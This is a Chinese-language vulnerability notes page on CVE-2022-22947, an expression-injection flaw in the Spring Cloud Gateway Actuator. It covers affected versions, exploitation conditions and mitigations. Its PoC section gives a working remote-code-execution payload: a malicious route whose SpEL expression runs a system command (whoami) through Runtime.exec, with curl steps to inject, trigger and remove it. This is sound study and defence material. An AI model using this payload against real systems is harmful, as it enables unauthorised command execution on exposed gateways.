跳至正文
Wener Notes

CVE-2022-22947

约 3 分钟阅读
标签:JavaSpringCloud
  • Java / Spring Cloud Gateway - Gateway Actuator 路由管理中的表达式注入,可导致远程代码执行
  • 官方公告:2022-03-01
  • 严重性:Critical,CVSS 3.1 10.0(NVD)
    • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE:CWE-917(表达式语言注入,NVD)、CWE-94(代码注入,厂商)
  • 已被 CISA 列入已知遭利用漏洞目录(KEV),收录日期为 2022-05-16

影响版本

分支受影响版本首个修复版本
3.1.x3.1.03.1.1
3.0.x3.0.0–3.0.63.0.7
更早分支已停止支持的旧版本也受影响升级到包含修复的受支持分支
  • 3.1.1、3.0.7 是当时的修复版本,不代表当前推荐的最新版本

成因与利用条件

  • Gateway Actuator 接收动态路由定义,部分过滤器参数会作为 Spring Expression Language(SpEL)表达式求值
  • 受影响实现使用能力过大的表达式求值上下文,恶意参数可能访问 Java 类型并执行系统命令
  • 需要同时满足以下条件
    • Gateway Actuator 端点已启用
    • 管理端点通过 HTTP 暴露,且攻击者能够访问
    • 端点缺少有效的认证、授权等安全保护
  • 不只是安装 Actuator 就一定可利用;关键是攻击者能否写入路由并触发其解析
  • 成功利用后,命令以 Gateway 服务进程的系统账号权限运行,可影响服务数据、配置和凭据

修复与缓解

  • 升级 Spring Cloud Gateway,使用包含此修复的受支持版本
  • 不需要 Gateway Actuator 时关闭该端点
ini
management.endpoint.gateway.enabled=false
  • 需要端点时,按官方建议使用 Spring Security 保护,限制到可信管理网络和授权用户
  • 检查实际生效的配置及管理端口;端点也可能通过 management.endpoints.web.exposure.include=* 暴露
  • 排查异常路由创建、路由刷新、Java 进程启动的异常子进程;若确认泄露凭据,再执行对应轮换

PoC

类型访问的最小示例

  • 将下列过滤器放入测试路由的 filters,刷新后读取路由或观察响应头
json
{
  "name": "AddResponseHeader",
  "args": {
    "name": "X-CVE-PoC",
    "value": "#{T(java.lang.String).valueOf(7 * 7)}"
  }
}
  • 在受影响的求值上下文中,类型访问可被解析,值变为字符串 49;此示例不调用操作系统命令
  • 修复后的受限上下文应拒绝这种 T(...) 类型访问;错误返回或未出现响应头本身不能独立证明已修复
  • 仅使用 #{7 * 7} 不足以区分漏洞与修复状态,因为受限上下文仍可能允许普通算术
  • 完整测试环境可参考 Vulhub 的 Spring Cloud Gateway 3.1.0 场景

路由配置与命令执行示例

  • 以下路径使用默认的 /actuator 管理端点前缀;实际地址、端口及认证要求以部署配置为准
  • 启用和暴露配置示例;这两项同时设置后,还需结合访问控制判断是否可被利用
ini
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
  • POST /actuator/gateway/refresh 会刷新路由缓存,不能用作只读的端点可用性检查
bash
# 刷新 Gateway 路由缓存
curl -X POST http://gateway/actuator/gateway/refresh -v

注入恶意路由

http
POST http://gateway/actuator/gateway/routes/pentest
Content-Type: application/json

{
  "id": "pentest",
  "filters": [
    {
      "name": "AddResponseHeader",
      "args": {
        "name": "X-Request-Foo",
        "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream())).trim()}"
      }
    }
  ],
  "uri": "http://httpbin.org/get",
  "predicates": [
    {
      "name": "Method",
      "args": {
        "_key_0": "GET"
      }
    },
    {
      "name": "Path",
      "args": {
        "_key_0": "/pentest"
      }
    }
  ]
}
bash
# 刷新
curl -X POST http://gateway/actuator/gateway/refresh -v
# 按 GET 谓词访问路由,查看 X-Request-Foo 响应头
curl http://gateway/pentest -v
  • uri、predicates 与 filters 同属路由顶层;响应头值由 args.value 指定
  • 命令输出需去掉末尾换行,避免响应头包含 CR/LF
  • 表达式可能在刷新或读取路由时求值,不应假定必须访问 /pentest 才触发

清理测试路由

bash
# 删除本次示例创建的 pentest 路由,再刷新缓存
curl -X DELETE http://gateway/actuator/gateway/routes/pentest -v
curl -X POST http://gateway/actuator/gateway/refresh -v

参考

关联信息

反向链接、本文链接的其他页面和外部资料。

参考资料

GitHub3 条
其他外链4 条
最近更新commit 0c5208b编辑